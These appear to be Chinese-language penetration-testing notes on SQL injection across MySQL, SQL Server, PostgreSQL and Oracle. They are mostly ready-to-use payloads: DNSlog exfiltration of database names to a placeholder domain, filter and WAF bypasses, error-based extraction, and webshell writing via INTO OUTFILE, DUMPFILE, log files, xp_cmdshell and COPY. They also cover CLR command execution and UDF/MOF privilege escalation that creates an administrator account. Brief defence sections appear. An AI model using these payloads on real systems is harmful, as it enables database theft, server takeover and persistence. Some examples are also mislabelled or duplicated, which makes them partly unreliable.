SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.your-dnslog.com\\a'));

`SELECT DATABASE()`:获取当前数据库名
    
`CONCAT(...)`:将数据库名与你的 DNSlog 域名拼接成一个新的域名,例如 `testdb.your-dnslog.com`
    
`LOAD_FILE()`:尝试加载这个 UNC 路径,由于域名不存在本地,它会发起 DNS 查询
    
`\\a`:这是一个占位符,用于避免语法错误
dns_reverse()和benchmark()

需要 MySQL 5.7.10 或更高版本,且安装了 sys 模式

  • Payload 构造: SELECT BENCHMARK(1000000,MD5(CONCAT('a',(SELECT DATABASE())))) AND (SELECT sys.version_get_option('version') LIKE '%DNS%');
  • 注意:这个方法主要是为了演示 sys 库的功能,实际操作中 LOAD_FILE 更常见
SQL Server

在 SQL Server 中,我们可以利用 xp_cmdshell 或 sp_oacreate 来触发 DNS 查询
利用 xp_cmdshell
xp_cmdshell 是一个强大的存储过程,可以执行系统命令。我们可以利用 ping 命令来触发 DNS 查询

  • Payload 构造: EXEC xp_cmdshell 'ping -n 1 ' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';
  • 解释:
  • xp_cmdshell:执行 ping 命令
  • SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases:获取第一个数据库的名称
  • +:将数据库名与你的 DNSlog 域名拼接

利用 sp_oacreate
sp_oacreate 可以创建 OLE 对象,我们可以利用它来发起 HTTP 请求,从而触发 DNS 查询

  • Payload 构造: DECLARE @h INT; EXEC sp_oacreate 'WinHttp.WinHttpRequest.5.1', @h OUT; EXEC sp_oamethod @h, 'Open', NULL, 'GET', 'http://' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';
PostgreSQL

在 PostgreSQL 中,COPY 命令和 pg_sleep 结合可以实现 DNSlog。但更直接的方法是利用 pg_send_query 或 UDF(用户定义函数)。

  • Payload 构造: SELECT * FROM users WHERE id = 1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.your-dnslog.com')) IS NOT NULL;
  • 解释:
  • pg_send_query():用于发送一个查询。
  • (SELECT version()):获取 PostgreSQL 的版本信息。
  • 这个方法利用了 PostgreSQL 在解析域名时会触发 DNS 查询的特性


过滤逗号

在显示位上替换为常见的注入变量或其它语句

union select 1,2,3;
 
union select * from ((select 1)A join (select 2)B join (select 3)C);

union select 1 from dual union select 2 from dual union select 3 from dual;
# dual是 MySQL/Oracle 的虚拟表(PostgreSQL 可省略,SQL Server 用sysobjects替代),用于无实际表时的 SELECT 查询;

union select 1 offset 0 union select 2 offset 0 union select 3 offset 0;
# OFFSET关键字(适配无dual的场景)

union select * from (select 1) t1 cross join (select 2) t2 cross join (select 3) t3;
#JOIN(复杂但绕WAF效果好)
 
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

SQL 延时盲注 sleep() 被禁用怎么绕过

1. 利用 BENCHMARK() 函数
BENCHMARK() 函数是 MySQL 中一个非常有用的性能测试函数。它的作用是让一个函数重复执行多次,并返回执行时间。我们可以利用这个特性来造成可控的延时

  • 原理: BENCHMARK(count, expr) 会让 expr 表达式执行 count 次。如果我们让它执行一个耗时但无害的操作,就可以造成明显的延时
  • 基本语法: BENCHMARK(count, expr)
  • 利用方式:
# 让 MD5('a') 重复执行 5,000,000 次,从而造成延时   
AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(5000000, MD5('a')), 1)   

解释:

  • IF(condition, true_value, false_value):这是一个条件判断语句
  • ascii(substr(database(),1,1))=115:这是我们的注入条件,判断数据库名的第一个字符的 ASCII 值是否为 115(即 's')
  • 如果条件为真,BENCHMARK() 函数被执行,导致页面延迟;如果条件为假,则立即返回 1,页面没有延迟

2. 利用 GET_LOCK() 函数
GET_LOCK() 函数是 MySQL 中的一个锁函数。它可以获取一个指定的锁,并在指定的超时时间内等待。如果锁被其他会话占用,它就会一直等待直到超时。我们可以利用这个特性来造成延时

  • 原理: GET_LOCK(str, timeout) 函数尝试获取一个名为 str 的锁,并等待 timeout 秒
  • 利用方式:

``sql # 如果条件为真,则获取一个名为 'a' 的锁并等待 5 秒 AND IF(ascii(substr(database(),1,1))=115, GET_LOCK('a', 5), 1) ``
这种方法的缺点是,如果多个请求同时执行,可能会因为锁竞争而造成不可预知的行为

3. 利用 RLIKE/REGEXP 的正则特性
当使用 RLIKE 或 REGEXP 进行正则表达式匹配时,如果正则表达式足够复杂,并且目标字符串足够长,也会造成明显的性能消耗,从而实现延时效果

  • 原理: 构造一个回溯(backtracking)量较大的正则表达式,让 MySQL 在匹配时消耗大量 CPU 资源
  • 利用方式:
# 构造一个高回溯的正则表达式来消耗 CPU   
AND IF(ascii(substr(database(),1,1))=115, (SELECT concat(rpad('',4999999,'a'),rpad('',4999999,'a'),'a') RLIKE '(a.*)+(a.*)+'), 1)   


解释: rpad() 函数用于填充字符串,使其变得很长。RLIKE '(a.*)+(a.*)+' 是一个典型的回溯型正则表达式。当字符串很长时,匹配会非常耗时

4. 利用笛卡尔积

通过制造一个巨大的笛卡尔积,可以使查询的执行时间大大增加

  • 原理: 当两个大表没有关联地进行连接时,结果集的行数是两个表行数的乘积
  • 利用方式:
# 使用 information_schema.tables 来制造一个笛卡尔积   
AND IF(ascii(substr(database(),1,1))=115, (SELECT COUNT(*) FROM information_schema.tables a, information_schema.columns b), 1)

这种方法同样会造成明显的延迟,但查询结果可能会占用大量内存

outfile被过滤怎么绕

dumpfile()
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';
利用日志文件

如果数据库开启了通用查询日志(general_log)或者慢查询日志(slow_query_log),并且你有权限修改日志路径,那么可以利用这个特性来写入 Webshell

  • 步骤:
  • 设置日志文件路径:将 general_log_file 或 slow_query_log_file 的值修改为 Web 目录下的一个可写路径,例如 /var/www/html/shell.php
  • 开启日志:将 general_log 或 slow_query_log 设为 ON
  • 写入恶意代码:执行一个包含 Webshell 代码的查询,例如 SELECT '<?php system($_GET["cmd"]); ?>'。这条查询语句会被写入到日志文件中,从而创建 Webshell



使用+号替代空格:例如,union+select+1,2,3。
URL编码替代:%20(空格)、%09(水平制表符HT)、%0A(换行符LF)、%0C(换页符FF)、%0D(回车CR)、%0B(垂直制表符VT)、%A0(不间断空格NBS)。
使用SQL注释符//替代空格,如:union//select。
括号()替代空格:select(database())。
使用报错注入技巧绕过限制。


报错注入函数

MySQL

函数/方法

利用原理

举例

updatexml()

修改 XML 文档,不合法的 XPath 路径会报错并显示内容

... AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1)

extractvalue()

从 XML 字符串提取值,不合法的 XPath 路径会报错并显示内容

... AND extractvalue(1, concat(0x7e, (SELECT user())))

floor()

结合 GROUP BY 和 rand(),制造重复键错误,将数据作为键值显示

... AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)

name_const()

用于创建一个带名称的匿名列。当在子查询中,我们使用 NAME_CONST() 将查询结果作为列名,并且这个列名在子查询中已经存在时,就会引发一个“重复列名”的错误,并将查询结果显示出来

AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a)

exp()

我们可以通过 ~ 按位取反操作,将一个大的负数转换成一个巨大的正数,从而触发溢出

AND (exp(~(SELECT * FROM (SELECT database())x)))

SQL Server

函数/方法

利用原理

举例

convert() / cast()

强制类型转换,将非数字字符串转换为整型会报错并显示字符串内容

... AND 1=convert(int,(SELECT db_name()))

PostgreSQL

函数/方法

利用原理

举例

cast()

强制类型转换,将字符串转换为不兼容的数据类型时报错

... AND 1=CAST((SELECT version()) as int)

Oracle

函数/方法

利用原理

举例

utl_inaddr.get_host_address()

utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分

... AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual)))

ctxsys.drithsx.sn()

在执行 ctxsys.drithsx.sn() 函数时,不合法的参数会引发错误并显示内容

... AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'))

dbms_utility.sqlcode_to_char()

这个函数用于将错误代码转换为字符。它本身不是用来报错的,但可以和其他会报错的函数结合使用

AND 1=TO_NUMBER((SELECT 'a'

SQL注入写shell

条件
权限:具备 File 权限,或者说有权限执行 LOAD_FILE()、INTO OUTFILE 或 INTO DUMPFILE 等文件操作函数
目标路径可写:网站服务器上的目标路径必须是可写的,且不能被权限系统限制
WAF 或防护软件:没有强大的 WAF (Web Application Firewall) 或其他安全软件拦截注入语句

1. MySQL:INTO OUTFILE

INTO OUTFILE 语句能够将查询结果导出到一个指定的文件中
利用步骤:
判断权限:首先,需要判断当前数据库用户是否具有 File 权限。可以尝试执行以下语句:

?id=1' AND (SELECT count(*) FROM mysql.user)>0--+

如果返回正常,则可以初步判断有权限。更直接的方式是尝试利用 @@basedir 或 @@datadir 查看路径是否可写

  1. 获取网站绝对路径:如果不知道网站的绝对路径,可以尝试利用报错或联合查询来获取


# 利用报错获取   
?id=1' AND (SELECT 1 FROM (SELECT count(*), concat(@@basedir,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

或者尝试猜测一些常见的路径,例如 /var/www/html/、C:/inetpub/wwwroot/ 等

构造注入语句:将包含 WebShell 代码的字符串作为查询结果,然后使用 INTO OUTFILE 导出到目标路径

# 假设我们想写入一个名为 shell.php 的文件   
?id=1' UNION SELECT 1, '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--+

注意:

  • INTO OUTFILE 导出时会以行的形式输出,每行末尾会有换行符,且不能覆盖已有文件。为了解决这个问题,通常会结合十六进制编码或 LOAD_FILE() 来绕过
  • 为了避免转义和换行问题,WebShell 代码通常会用十六进制进行编码
?id=1' UNION SELECT 1, 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--+   

2. SQL Server:xp_cmdshell
xp_cmdshell 是 SQL Server 的一个扩展存储过程,它允许在数据库中执行操作系统命令。如果它被启用,攻击者就可以直接执行命令来写入 WebShell

利用步骤:

判断 xp_cmdshell 是否启用:默认情况下,xp_cmdshell 是禁用的

;EXEC xp_cmdshell 'dir c:'-- 

如果执行成功,说明已启用。如果没有,则需要尝试启用它

启用 xp_cmdshell:

;EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--   

注意: 启用 xp_cmdshell 需要较高的权限(通常是 sysadmin 角色)

  1. 写入 WebShell:启用 xp_cmdshell 后,可以使用 echo 命令将 WebShell 代码写入文件


;EXEC xp_cmdshell 'echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'--   

^ 是为了转义特殊字符 <、> 等

3. SQL Server:sp_OACreate

如果 xp_cmdshell 被禁用,攻击者还可以利用 sp_OACreate 等 OLE 自动化存储过程来执行命令

  • 利用方式:利用 sp_OACreate 创建一个 WScript.Shell 对象,然后通过其 Run 方法执行命令


;DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT; EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'--


4. PostgreSQL:COPY TO

PostgreSQL 提供了 COPY TO 命令,用于将表数据导出到文件中

*利用方式
创建一个临时表,并将 WebShell 代码插入其中
利用 COPY TO 命令将数据导出到目标文件

'; CREATE TABLE shell (cmd text); INSERT INTO shell VALUES ('<?php eval($_POST[cmd]);?>'); COPY shell TO '/var/www/html/shell.php';--

注意: 执行 COPY 命令需要 superuser 权限,且目标路径必须是数据库服务器可读写的

宽字节注入原理

php的addslashes() 或 mysql_real_escape_string() 等函数来对单引号进行转义

输入
'
转义
\'
SQL 查询:
SELECT * FROM users WHERE id = '1\''

这句 SQL 语句是不合法的,因为 `\'` 被视为一个转义后的单引号,从而导致查询失败,注入被阻止

是因为当后端数据库使用GBK时,我们可以用一个特殊字符来吃掉转义字符

%df

输入
id=1%df

URL解码后: id=1' (这里  是 0xdf 的GBK编码,具体字符取决于浏览器)

addslashes() 处理后: addslashes() 只会将单引号 ' 转义成 \'。 此时,字符串变为 1%df\'

在内存中,它的十六进制表示是: 31 25 64 66 5c 27

MySQL 在接收到这个字符串时,会把它当作 GBK 编码进行解析。它会发现 %df(0xdf)是一个宽字节的开头,并且紧接着的 \(0x5c)恰好在GBK编码的合法范围内,可以和 0xdf 组成一个合法的汉字

  • %df%5c (0xdf 和 0x5c) 在GBK编码中是一个合法的汉字,例如“運”
  • 结果: 1%df\' 在数据库看来就变成了 1 + 一个汉字 + '
  • 最终的 SQL 查询: SELECT * FROM users WHERE id = '1運''


此时,被转义的单引号 ' 重新获得了生命,因为它不再被认为是转义符的一部分。攻击者就可以继续使用后面的单引号进行SQL注入

二次注入漏洞原理

我们通过一个经典的案例来解释这个过程
假设有一个网站,允许用户注册并修改个人信息,其中包含用户名
第一阶段:数据注入

  1. 用户注册:注册时,应用对用户名进行了严格的过滤,阻止了单引号和一些 SQL 关键字
  2. 攻击者构造恶意用户名:攻击者注册一个名为 test' and 1=1-- 的账户。由于注册时的过滤机制,攻击者无法直接注入
  3. 攻击者换一种方式:攻击者注册一个名为 test 的账户。然后,在修改用户名的功能中,他将用户名修改为 test' and 1=1--
  4. 应用处理:假设应用在更新操作时对用户输入做了严格的过滤,但数据库中的新增操作没有。攻击者在第一次新增时,输入一个看似无害的用户名,例如 test


漏洞的真正利用:
现在,假设应用有一个功能,允许用户修改自己的个人信息,而这个功能在设计时存在缺陷

  • 正常的修改用户信息 SQL 语句:
UPDATE users SET email = 'user@example.com' WHERE username = 'test';
  • 攻击者如何利用:
  1. 第一次注入:攻击者注册一个名为 test 的账户。这个数据被安全地存储在数据库中
  2. 第二次注入:攻击者找到一个功能,例如“修改评论”,而这个功能会将评论内容与用户名关联起来。假设评论表是 comments,并且 username 列没有做任何过滤


攻击者提交了一条评论,内容为 ' or 1=1--。数据库执行了如下语句:

INSERT INTO comments (username, content) VALUES ('test', '' or 1=1--');

此时,恶意数据 ' or 1=1-- 被安全地存储在了 comments 表中

  1. 触发漏洞:现在,应用中有一个管理员审核评论的功能。管理员点击审核按钮后,后端会执行一个不安全的查询,例如:
SELECT * FROM comments WHERE content = '' or 1=1--';

这条查询语句由于没有对 content 字段进行二次过滤,导致 or 1=1-- 被当作 SQL 语句的一部分,从而绕过了原本的逻辑,直接获取了 comments 表中的所有数据,甚至可以被进一步利用进行数据泄露或篡改


union注入

假设一个网站的查询语句是这样拼接的:

SELECT * FROM users WHERE id = '用户输入';

如果用户输入 1,执行的 SQL 语句就是:

SELECT * FROM users WHERE id = '1';

堆叠注入攻击

如果攻击者在输入框中输入 1; DROP TABLE users,并且后端没有过滤分号,最终执行的 SQL 语句就会变成:

SELECT * FROM users WHERE id = '1';
DROP TABLE users;

数据库服务器会按顺序执行这两条语句。第一条是正常的查询,第二条则是删除 users 表的恶意命令


MySQL提权

UDF 提权(User-Defined Function,用户自定义函数提权)

UDF 提权是 MySQL 提权场景中最经典、应用最广泛的方式之一。其核心原理是利用 MySQL 支持加载自定义函数(UDF)的特性 —— 用户可通过 C/C++ 编写包含系统命令执行逻辑的动态库文件,将其加载到 MySQL 中并注册为自定义函数,从而突破数据库层面限制,执行操作系统命令实现提权。
前提条件

  1. 权限要求:当前 MySQL 账户必须具备 CREATE FUNCTION(创建自定义函数)和 FILE(文件读写)权限,若需加载插件形式的 UDF 还需 SUPER 权限(MySQL 5.1 及以上版本);
  2. 路径与权限要求:需知晓 MySQL 插件目录(可通过 show variables like '%plugin_dir%'; 查询),且该目录对 MySQL 进程具备可写权限;
  3. 版本适配:UDF 库文件需与 MySQL 版本、服务器系统架构(32/64 位)匹配(如 Linux 对应 .so 文件,Windows 对应 .dll 文件)。
    攻击步骤
    步骤 1:上传恶意 UDF 库文件

攻击者通过 SQL 注入、文件写入漏洞(如 SELECT ... INTO OUTFILE),将预编译的恶意 UDF 动态库文件(如 Linux 下的 lib_mysqludf_sys.so、Windows 下的 mysqludf.dll)写入 MySQL 插件目录:

  • Linux 典型插件目录:/usr/lib/mysql/plugin/(不同发行版可能为 /usr/lib64/mysql/plugin/);
  • Windows 典型插件目录:C:\Program Files\MySQL\MySQL Server\版本号\lib\plugin\。
    文件写入示例(Linux):
-- 利用 FILE 权限将 UDF 库文件写入插件目录(需先通过 hex 编码规避字符过滤)
SELECT 0x7F454C46...(UDF文件十六进制内容) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

十六进制可以看另一篇文章MySQL UDF 提权十六进制查询 | 国光


步骤 2:注册恶意自定义函数

通过 CREATE FUNCTION 语句,将 UDF 库中的系统命令执行函数(如 sys_exec、sys_eval)注册为 MySQL 可调用函数:

-- 注册 sys_eval 函数(执行系统命令并返回输出结果)
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
-- 注册 sys_exec 函数(执行系统命令,无返回结果,适合创建用户、启动服务等操作)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';

步骤 3:执行系统命令实现提权

调用已注册的恶意函数,执行任意系统命令,获取操作系统层面的高权限:

-- 查看当前执行命令的用户(验证提权基础)
SELECT sys_eval('whoami');
-- Linux 下添加 root 权限用户
SELECT sys_eval('useradd -m -s /bin/bash hackuser && echo "hackuser:123456" | chpasswd');
-- Windows 下添加管理员用户
SELECT sys_eval('net user hackuser 123456 /add && net localgroup administrators hackuser /add');

防御方法

  1. 最小权限原则:严格限制 MySQL 账户权限,普通业务账户仅授予 SELECT/INSERT/UPDATE/DELETE 等必要权限,禁止授予 FILE、CREATE FUNCTION、SUPER 等高权限;
  2. 加固文件读写配置:修改 MySQL 配置文件 my.cnf(Linux)/my.ini(Windows),设置 secure_file_priv 为指定安全目录(如 secure_file_priv = /tmp/mysql_file/)或 NULL(完全禁止文件导入导出),重启 MySQL 生效;
  3. 限制插件目录权限:将 MySQL 插件目录的写入权限仅开放给 root 用户,禁止 MySQL 进程账户(如 mysql 用户)修改该目录内容;
  4. 定期审计:检查 mysql.func 表(存储自定义函数),及时清理非授权的 UDF 函数;
  5. 版本升级:升级至 MySQL 8.0+ 版本,该版本对 UDF 加载增加了更严格的权限和路径校验。

MOF 提权(Managed Object Format,托管对象格式提权)

只针对Windows管用,利用 Windows 系统 WMI(Windows 管理规范)服务的配置缺陷,特定版本的 Windows 系统会自动加载并执行 %systemroot%\system32\wbem\mof 目录下的 MOF 文件,攻击者通过 MySQL 的文件写入权限将恶意 MOF 文件写入该目录,触发系统执行命令实现提权
Windows 自动执行 MOF 文件的核心原因?
%systemroot%\system32\wbem\mof 是 Windows 为 WMI 预留的 默认类定义目录,系统自动执行该目录下的 MOF 文件,本质是为了 初始化 WMI 功能,具体逻辑如下:
简化系统管理与类注册,自动触发,无需手动干预

  • WMI 本身只提供 “管理框架”,但 “能管理哪些资源”(比如进程、服务、磁盘)需要通过 “类定义” 来告知 WMI。
  • 微软将常用的系统管理类(如 Win32_Process、Win32_Service)以 MOF 文件的形式预置于 mof 目录(比如系统自带的 wbemcons.mof、cimwin32.mof)。
  • 系统启动时,Winmgmt 服务会自动扫描该目录,调用 mofcomp.exe 编译所有 MOF 文件,将类注册到 WMI 仓库 —— 这样 WMI 才能正常提供管理功能(比如用户用 wmic process list 查询进程时,就能识别 Win32_Process 类)。
    执行时机:自动触发,无需手动干预
  • 系统启动时(Winmgmt 服务启动);
  • Winmgmt 服务重启时;
  • 手动将 MOF 文件复制到该目录后(部分系统会实时监控目录变化)。
    这个目录是 WMI 的 “类定义加载目录”,系统自动执行其中的 MOF 文件,是为了让 WMI 获得管理系统所需的 “元数据”
    前提条件
  1. 系统环境:仅适用于 Windows Server 2003/2008(Windows 7/2012 及以上版本已修复该缺陷);
  2. 权限要求:MySQL 账户需具备 FILE 权限,可执行 SELECT ... INTO OUTFILE 写入文件;
  3. 路径权限:MySQL 进程账户需对 %systemroot%\system32\wbem\mof 目录具备写入权限。
    攻击步骤

步骤1:写恶意MOF文件
MOF 文件是 WMI 的元数据定义文件,攻击者编写包含系统命令执行逻辑的 MOF 文件(核心是通过 __EventFilter、__EventConsumer 等 WMI 类绑定事件,触发命令执行),示例核心内容:

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
    Name = "MyFilter";
    EventNamespace = "Root\\CIMV2";
    Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second = 0";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
    Name = "MyConsumer";
    ScriptingEngine = "VBScript";
    ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\nobjShell.Run(\"net user hackuser 123456 /add & net localgroup administrators hackuser /add\")";
};
instance of __FilterToConsumerBinding as $Binding {
    Consumer = $Consumer;
    Filter = $EventFilter;
};

上述 MOF 文件的作用:系统每分钟(秒数为 0 时)触发 VBScript 脚本,创建名为 hackuser 的管理员账户。
步骤 2:写入恶意 MOF 文件

利用 MySQL 的 FILE 权限,将恶意 MOF 文件写入 Windows 系统的指定目录:

-- 将 MOF 内容写入 %systemroot%\system32\wbem\mof 目录(需替换为实际系统路径)
SELECT '#pragma namespace("\\\\.\\root\\subscription")...'(MOF 文件内容) INTO OUTFILE 'C:\\WINDOWS\\system32\\wbem\\mof\\hack.mof';

步骤 3:触发 MOF 文件执行

Windows 的 CIMOM(Common Information Model Object Manager)服务会周期性扫描 %systemroot%\system32\wbem\mof 目录,自动加载并执行新写入的 MOF 文件。一旦文件被加载,其中的命令会立即或按设定周期执行,攻击者即可获得系统管理员权限。


防御方法

  1. 核心权限管控:禁止 MySQL 账户获取 FILE 权限,从源头阻止文件写入;
  2. 系统版本升级:将 Windows 服务器升级至 Windows Server 2012 及以上版本,该版本修复了 MOF 文件自动执行的缺陷;
  3. 目录权限加固:限制 %systemroot%\system32\wbem\mof 目录的写入权限,仅允许 SYSTEM 和 Administrators 组修改;
  4. 监控 WMI 事件:开启 Windows 系统的 WMI 事件审计,及时发现非授权的 MOF 文件加载和事件绑定操作。

总结

  1. UDF 提权跨平台(Linux/Windows),核心依赖 MySQL 的自定义函数加载和文件读写权限,防御重点是权限管控和配置加固;
  2. MOF 提权仅适用于老旧 Windows 系统,核心利用 WMI 服务的自动加载机制,防御重点是系统升级和目录权限限制;
  3. 两种提权方式的核心防御共性:遵循最小权限原则,严格限制 MySQL 账户的高风险权限,定期审计系统和数据库的非授权操作。

MySQL 的 xp_cmdshell() 函数被禁用怎么绕过

  1. 利用其他扩展存储过程
    MSSQL 中还有一些其他的扩展存储过程,它们可能没有 xp_cmdshell 那么直接,但仍然可以用于执行命令或读写文件。

sp_OACreate(OLE Automation Procedures)
该过程通常用于创建 COM 对象,若能找到合适的 COM 对象(如 WScript.Shell),可利用其执行命令。

示例代码:

DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUT;
EXEC sp_OAMethod @shell, 'run', NULL, 'cmd.exe /c whoami > C:\temp\output.txt';
-- 之后你可以读取 output.txt 来获取结果

注意:这种方法依赖于是否启用了 OLE Automation Procedures,并且需要寻找可以被利用的 COM 对象。

  1. SQL Server Agent Jobs
    若 SQL Server Agent 服务正在运行,且你拥有创建作业的权限,可创建新的 Agent Job,在其中执行 PowerShell 或命令行脚本。

攻击步骤
2. 创建作业(Job):创建一个 SQL Agent Job,步骤类型(Step Type)选择 Operating system (CmdExec) 或 PowerShell;
3. 编写脚本:在步骤中直接写入要执行的命令;
4. 启动作业:启动该作业,命令会在 SQL Server Agent 的权限下执行。

说明:这种方法的好处是,即使 xp_cmdshell 被禁用,Agent Job 依然可以运行。但前提是,你有权限创建并执行作业。

  1. CLR Assembly
    SQL Server 提供了 CLR(Common Language Runtime)集成功能,允许在数据库中运行 .NET 代码。若能创建恶意的 CLR Assembly,并在其中编写执行命令的代码,可绕过 xp_cmdshell。

操作步骤

  1. 启用 CLR
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;
  1. 创建并部署 Assembly
    编写 C# 代码(使用 System.Diagnostics.Process 类执行命令),编译成 DLL 后上传到数据库;再创建 SQL 存储过程调用 Assembly 中的方法。

C# 代码示例:

using System;
using System.Diagnostics;
using System.Data.SqlClient;
using Microsoft.SqlServer.Server;

public class StoredProcedures
{
[SqlProcedure]
public static void CmdExec(string command)
{
Process.Start("cmd.exe", "/c " + command);
}
}

SQL Server 端代码:

-- 创建 Assembly
CREATE ASSEMBLY CommandExec FROM 'C:\path\to\YourAssembly.dll' WITH PERMISSION_SET = UNSAFE;

-- 创建存储过程
CREATE PROCEDURE sp_CmdExec @command NVARCHAR(4000) AS
EXTERNAL NAME [YourAssembly].[StoredProcedures].[CmdExec];

-- 执行
EXEC sp_CmdExec 'whoami';

注意:CLR Assembly 功能通常默认禁用,且创建 UNSAFE 权限集的 Assembly 需要 sysadmin 权限。


MySQL5.0上下版本区别

information_schma的有无

5.0版本以上:有,方便枚举出整个数据库的结构,使用像 SQLmap 这样的自动化工具
5.0版本以下:无,依赖盲注和字典攻击

并发操作模式

MySQL 5.0 以下:

  • 多用户单操作:这个说法通常是指不完全支持多用户并发,或者并发控制机制相对简单。在某些版本中,对同一资源的并发访问可能导致锁定和性能问题。从渗透角度看,这可能导致一些复杂的注入技术(如基于锁定的时间盲注)效果不佳,但影响相对较小

MySQL 5.0 及以上:

  • 多用户多操作:这通常指的是更好的并发控制和事务支持。MySQL 5.0 引入了事务和更强大的锁机制,使得多个用户可以同时对数据库进行复杂操作,而不会相互干扰。这对于正常的业务应用至关重要


SQLMap自带的脚本

1. 编码与混淆(绕过签名检测)
这类脚本通过对注入语句进行编码或转换,来改变其特征,以躲避基于签名的检测

  • charencode.py:对所有字符进行 URL 编码,适用于 URL 编码绕过
  • randomcase.py:将 SQL 关键字的字母大小写随机化
  • 示例: SELECT -> sELeCT
  • space2comment.py:将空格替换为 SQL 注释 /**/
  • 示例: SELECT user FROM users -> SELECT/**/user/**/FROM/**/users
  • space2mysqlblank.py:用 MySQL 专有的空格字符(如 Tab、换行符)替换空格
  • base64encode.py:对整个注入语句进行 Base64 编码。需要目标网站解码才能生效

2. 空白字符与分隔符替换
这类脚本利用不同数据库对空白字符的解析差异来绕过过滤

  • apostrophemask.py:将单引号 ' 替换为 UTF-8 编码的 '
  • equaltolike.py:将等号  =  替换为 LIKE 关键字
  • 示例: id=1 -> id LIKE 1
  • unionalltounion.py:将 UNION ALL 替换为 UNION,在某些情况下可能绕过过滤
  • space2plus.py:将空格替换为加号 +,但需要注意这可能影响语句语义


3. 语义与结构混淆
这类脚本通过改变语句的逻辑结构,来使注入语句看起来像正常的查询

  • between.py:将大于等于 >= 替换为 BETWEEN
  • 示例: id>=1 -> id BETWEEN 1 AND 999
  • ifnull2casewhenisnull.py:将 IFNULL(A, B) 替换为 CASE WHEN ISNULL(A) THEN B ELSE A END

4. 绕过 WAF 的特定脚本
这些脚本通常针对特定的安全产品或通用 WAF 规则

  • modsecurityzeroversioned.py:在 SQL 语句后添加 /*-!11111*/ 来绕过 ModSecurity WAF 的特定规则
  • xforwardedfor.py:在 HTTP 请求头中伪造 X-Forwarded-For 字段,以绕过基于 IP 的限制
  • sp_password.py:在有效载荷的末尾添加 sp_password 来绕过 MS-SQL Server 的日志记录

扫出.asp数据库,访问乱码怎么利用

用微软的access打开
用打开
如果密码字段是加密或散列(hash)的,需要进一步处理
常见哈希类型:MD5、SHA1 等
破解方法:
在线查询:如果哈希值是常见的,可以尝试在 HashKiller、Crackstation 等在线网站查询。
字典破解:使用 John the Ripper 或 Hashcat 等工具,配合强大的密码字典进行暴力破解。
彩虹表:使用预先计算好的彩虹表进行快速查询

找到注入点怎么判断何种数据库

看报错信息

  • MySQL:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
  • SQL Server:Microsoft OLE DB Provider for SQL Server、Incorrect syntax near '...
  • Oracle:ORA-01756: quoted string not properly terminated
  • PostgreSQL:PostgreSQL query failed: ERROR: parser: parse error
  • SQLite:sqlite_query()、SQL syntax error

函数和语法判断

MySQL
version()
sleep()   如果延迟了5秒,可能是MySQL
user()
database()
loadfile()    and load_file('/etc/passwd')
SQLServer
@@version:and 1=1 and @@version。如果页面返回版本信息,则是 SQL Server

xp_cmdshell:and 1=1;exec xp_cmdshell('ping 127.0.0.1')--。如果请求延迟,可能存在命令执行漏洞

db_name():and db_name()

system_user:and system_user
Oracle
user:and user

sys.dba_tables:and 1=1 and (select count(*) from sys.dba_tables)。如果返回正常的页面,说明存在这张表

dbms_pipe.receive_message():and 1=1 and dbms_pipe.receive_message('a',5)。可以用来进行带外信道(OOB)注入
PostgreSQL
pg_sleep():and pg_sleep(5)。如果页面延迟,很可能是 PostgreSQL

version():and version()

pg_database:and 1=1 and (select count(*) from pg_database)
不同数据库的查询区别

每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断

  • 字符串拼接:
  • MySQL:union select 'a','b'
  • SQL Server:union select 'a'+'b'
  • Oracle:union select 'a'||'b'
  • 注释符号:
  • MySQL/PostgreSQL:-- (后面需要加空格)、#
  • SQL Server/Oracle:--
  • 内联注释:/**/ 可以在多种数据库中使用



MySQL 一个 @ 和两个 @ 的区别

@(用户自定义变量)

一个 @ 符号代表用户自定义变量(User-Defined Variables)。这种变量是用户在当前会话中手动创建的,它的生命周期只存在于当前 MySQL 连接会话中。当会话结束时,变量也会被释放

特点:

  • 创建与赋值:可以使用 SET 或 SELECT ... INTO 语句来赋值
  • SET @var_name = value;
  • SELECT column INTO @var_name FROM table;
